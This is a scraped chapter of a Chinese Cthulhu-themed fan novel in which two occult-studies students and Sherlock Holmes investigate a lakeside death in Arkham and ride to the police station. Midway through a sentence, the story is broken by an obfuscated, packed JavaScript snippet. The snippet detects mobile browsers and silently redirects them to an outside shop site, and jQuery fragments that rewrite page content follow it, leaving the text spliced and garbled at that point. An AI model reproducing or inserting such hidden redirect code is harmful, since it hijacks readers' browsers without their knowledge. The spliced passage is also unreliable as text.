13.完全没把其他人看在眼里
作品:《[克苏鲁]黏着系调查员18年纠缠不休》 等了好半天都没有等到阿卡姆镇上唯一的警局开着那破车到达,晏星河也有些不耐烦了,他看了看手机上的时间,就算是纯步行都应该到了吧?
阿卡姆镇的警力还没有匮乏到连两个办案的警察都派不出来才对。
他看向一旁双手插兜的夏洛克,礼貌性地和对方自我介绍道:“晏星河,神秘学专业一年级新生。”
对方显然在听到神秘学这个专业时拧起了眉毛。
以对方这么灵敏的脑袋,此前应该也发现了学校的秘辛才对。
从夏洛克·福尔摩斯的反应来看,晏星河这个猜想是正确的。
他伸手拨弄了一下自己的碎发,对方的目光直直地看了过来:“我的名字你们也知道了。”
这就是懒得自我介绍的意思了。
楚樾依稀有听说过这位夏洛克·福尔摩斯本人在学校内树敌颇多的事情。
原本他还不算了解,只是看他现在的话语,倒是差不多能猜到其中的原因。
四个人瞬间沉默了下来。目击证人那边,该问的该了解的东西早就被夏洛克套了个干净,只是听了对方颠三倒四的话语以后,夏洛克的表情更加古怪了起来。
“我和他约好了一起出门,他在路上先是在一个坟头前面停下了脚步,然后毫无顾忌地踹了一脚那个坟头……那可是巫毒教的人的坟墓,说不定得罪了什么人呢。”
目击证人碎碎念着。
“我和他当然没有仇怨,我只是一个普普通通的医学系学生……是,我们是同一个宿舍的不假,但是这并不意味着我们关系不好或者是我被欺凌了。这只是正常的宿舍关系。”
这段话听上去似乎没什么问题。晏星河有些疑惑地戳了戳师兄的掌心,这段话的逻辑是正常的,为什么师兄和那个叫夏洛克·福尔摩斯的家伙会露出警惕的神色。
对这方面的情感完全一片空白的晏星河苦恼地歪过脑袋。
而对于夏洛克·福尔摩斯来说,现如今摆在福尔摩斯面前的证据,毫无疑问是这位可怜的目击证人出于某种目的谋杀了死者。
但是从现场的痕迹来看,杀死死者的就是一只高大的怪物。
对方是怎么做到的?
死者的身上并没有任何中毒的反应,如果不是看目击证人那些堪比自爆的心虚发言,根本不会有人怀疑到他的身上。
明明这个家伙对这件事充满了负罪感和悔恨,但是这些又被那种大仇得报后的喜悦与扭曲的兴奋抵消。
还是说除了这位目击证人以外还有其他的人,是对方在他们抵达之前就把现场布置得这么完美?
各种各样的犯罪手法从夏洛克的记忆宫殿里翻跳着,他打开无数个大脑里的房间,又不断地否认着这些作案手法。
低级,低级,小儿科,低级。
不可能是野兽袭击,但是怎么做到的?
这点让自诩是最优秀的咨询侦探的夏洛克不解地皱着眉。也不知道是不是他的错觉,那两个神秘学专业的基佬看上去反而完全不认为眼前的野兽袭击是什么问题。
他们怎么会比自己更先一步知道事情的真相?
除非——哦——神秘学?
他的思维在想到这种以往从来不信的神神鬼鬼的事情时终于发挥了某种用处。
想要知道更多的情况就只能依靠——“你们神秘学专业有和警局的合作,对吧?”福尔摩斯硬邦邦地开口,“我想要调查到关于这件事情的卷宗。”
对这方面完全没有关心的晏星河又将目光转向师兄。毫无疑问,楚樾上次回来的时候也撞见过同样的案子。
“有。”楚樾回答道,“等会儿警车到了以后我们回警局,我会让他们调出来给你参考。”
师兄是一个彻头彻尾的好调查员。
晏星河想。
只是撞见了案子就开始想要为死者调查奔走。
和自己也不一样,当然也和那个福尔摩斯不一样,福尔摩斯只想知道真相。自己不关心死了什么人,也不关心死者背后的故事;福尔摩斯则是只想知道犯人是怎么样通过各种各样的手法杀死死者的。
只有师兄会持续地追踪下去,哪怕明知道这件事情的背后一定是某种不属于人类认知中的怪物发起的袭击,但师兄已经会试图为死者寻得灵魂意义上的安息。
啧。
晏星河再度抓住了楚樾的手心,两个人十指紧扣着,一直站在灌木前又等了好一会儿,才终于等到一辆看上去破旧无比的警车。
很显然,夏洛克·莫里亚蒂并不想搭理这对基佬。他在得到自己想要的承诺以后就背过手又开始站在旁边发表对人类的点评了。
“你们两个人是不是每时每刻都要像是连体婴儿一样黏糊在一起?我见过不少的人类情侣,他们都不像你们一样。”
他双手抱胸,目光扫过这个奇怪的现场。
一个死者,一个不知道靠什么手段害死死者的目击证人,和另外两个正在握着手的基佬,以及同样闲的没事干的自己。
这到底是什么稀奇古怪的场面。
“我和师兄才不是那么浅薄的关系。”晏星河试图反驳,但手上的动作并没有松开的意思。
显然,开口污染清白的这位咨询侦探对他们给出来的回答并不满意。
尽管夏洛克·福尔摩斯本人经常被认为是一个高功能反社会人格,但实际上,他还挺看得懂关于人与人之间的弯弯绕绕的。
如果非要他去做,他甚至能把人际关系处理得很好。
平常那些关于他人际极差的风评也只能说明一件事情:
他可以,只是他不想那么做而已。
眼下看着这两个家伙虽然互相喜欢到眼神一刻也不离开对方,手拉着手还好意思在自己的面前声称他们只是普通师兄弟关系,他反倒恶趣味地选择了闭嘴。
哈,他才不说呢。
就让这两个蠢货一直隔着一层窗户纸,你喜欢我我喜欢你我们谁都不说出来瞒着对方一辈子吧,多有意思。
太阳逐渐下沉,警车以一种极为悠闲的速度来到了湖边。
喂,好歹死了一个人,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254753|197588||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有必要这么悠闲吧。
晏星河嘴角微微抽了一下,有些不太理解这个警局是如何不被骂烂的。
为首的警察看了一眼尸体,就大手一挥示意自己的手下们去把他收拾好。
野兽袭击不就是纯靠自己倒霉。
这又不是什么值得调查的大案件,就这么结案就足够了。
只是一个野兽袭击而已,阿卡姆镇过去发生的怪事和大事可比这些多得多。真大事说自然会有密斯卡托尼克大学的教授们出手。
“乔治警官,能顺带捎我们去警局一趟吗,我们觉得还是有哪些地方不太对劲,顺带看一下资料室。”
楚樾说着,从口袋里随意地拿出一盒烟递过去。
这家伙绝对不抽烟,但是会把烟放在随身背包里,显然是有备而来,可疑啊。福尔摩斯想。
乔治警官接过烟,没有抽,只是夹在手指指尖做了个样子,他若有所思地说:“哦,CHU,我明白了,还是你们学校上面的导师们派的任务吗?有时候真的很好奇,你们神秘学这个专业为什么总是会接触到警方的档案。”
“大概是因为神秘也需要靠科学的案例来举证吧?”
晏星河加入了这个话题中:“我是悬案追踪这个社团的学生,乔治警官,你好,我们社团也经常整理那些阿卡姆镇上发生的各种各样的流言与传统习俗,专门去走访当地了解情况,再把他们做成卷宗,现在也整理了差不多一个书柜的内容。”
就是最近整理得头晕。
悬案追踪这个社团听上去不错,福尔摩斯摸了摸鼻子,能直接调动一些学生们自行整理好的卷宗。
*
车辆几乎只花了十分钟的时间就抵达了警局门前。
萧条的警察局看上去和他们的配车一样,看上去都破破烂烂的。
看来刚刚还错怪他们了。
晏星河欲言又止,晏星河止又欲言。
阿卡姆镇人杰地灵到连警察们都需要把自己的门头和警车做旧做破到没人会去抢劫或者偷窃的地步吗?
之前师兄去个超市做那么多准备自己还寻思着会不会太过夸张了,现在看来好像并不是。
不愧是阿卡姆啊!
他明明没有说出口,但楚樾就像是听见了他的心声一样,转过头轻轻地贴在晏星河的耳边回答了这个问题:“不,只是阿卡姆镇上的警察大部分都只是来混个日子的,很少会有人尽心尽力地去做某些事情。”
那些人也只是摆烂懒得认认真真地去查案或者是别的什么。
“哦!”
晏星河本能地缩了缩脖子。
在刚刚楚樾骤然贴近过来的一瞬间,他的耳垂好像被那些带着热气的语句烫到了一样,整个人的脸色不自觉地有些泛粉。
师兄在给自己讲解呢,能不能正常点!
脖子上,热气留下淡淡的红印,楚樾注视到那抹新出现的红色,明明是在一个需要端正严肃的场合,大脑却开始不由自主地想起来别的事情。
小晏同学这样还是蛮可爱的嘛。

